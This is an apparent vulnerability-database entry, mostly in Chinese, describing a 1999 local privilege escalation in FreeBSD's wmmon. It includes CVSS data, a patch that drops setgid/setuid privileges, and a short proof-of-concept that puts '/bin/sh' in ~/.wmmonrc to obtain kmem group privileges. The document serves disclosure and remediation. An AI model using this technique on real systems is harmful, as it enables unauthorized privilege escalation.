发布时间 :1999-12-22 00:00:00
修订时间 :2008-09-10 15:02:19

[原文]wmmon in FreeBSD allows local users to gain privileges via the .wmmonrc configuration file.

[CNNVD]FreeBSD WMMon权限提升漏洞(CNNVD-199912-078)


- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)


- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源

- 漏洞信息

FreeBSD WMMon权限提升漏洞
高危 输入验证
1999-12-22 00:00:00 2005-05-02 00:00:00

- 公告与补丁

        The following was taken directly from a Bugtraq posting by Steve Reid on December 21, 1999. There is a link to this article in the credit section.
        Here is a patch:
        --- work/ Thu Dec 2 02:06:55 1999
        +++ work/ Thu Dec 2 04:20:22 1999
        @@ -318,6 +318,8 @@
        if (kvmd==NULL) kvmd = kvm_openfiles(NULL, NULL, NULL, O_RDONLY, errbuf);
         if (kvmd==NULL) { fprintf(stderr, "kvm_openfiles: \n", errbuf); exit(errno); }
        + if (setgid(getgid()) != 0) exit(1); /* We're sgid kmem. Give up privs. */
        + if (setuid(getuid()) != 0) exit(1); /* If we're suid, give that up too. */
         if (kvmd) {
         if (kvm_nlist(kvmd, nl) >= 0) {
         struct nlist *nlp;

- 漏洞信息 (19685)

Windowmaker wmmon 1.0 b2 Vulnerability (EDBID:19685)
freebsd local
1999-12-22 Verified
0 Steve Reid
N/A [点击下载]

WMMon is a multiple platform Window Maker docking application. It monitors useful system information such as CPU load and disk activity. The application also allows the user to define commands that can be launched by mouse clicks in the WMMon window. If the WMMon application is installed SUID or SGID, these privileges are not dropped before executing commands that have been defined by the user. Since the user can configure the application to execute any command, a user can run a shell or any other executable with the privileges that WMMon has been installed with. The FreeBSD ports version of WMMon installs SGID kmem and older versions installed it as SUID root. 

% id
uid=1000(steve) gid=1000(steve) groups=1000(steve)
% echo 'left /bin/sh' > ~/.wmmonrc
% wmmon -display
Monitoring 2 devices for activity.
{Left-click on the little window that appears}
current stat is :1
$ id
uid=1000(steve) gid=1000(steve) egid=2(kmem) groups=2(kmem), 1000(steve) 		

- 漏洞信息

FreeBSD WMMon Local Privilege Escalation
Local Access Required Input Manipulation, Misconfiguration
Loss of Integrity
Exploit Public

- 漏洞描述

WMMon, a FreeBSD port, contains a flaw that may allow a malicious user to gain access to unauthorized privileges. The issue is triggered when WMMon is setgid kmem and configured to execute arbitrary commands via the .wmmonrc configuration file. This flaw may lead to a loss of integrity.

- 时间线

1999-12-21 Unknow
1999-12-21 Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, Steve Reid has released a patch to address this vulnerability.

- 相关参考

- 漏洞作者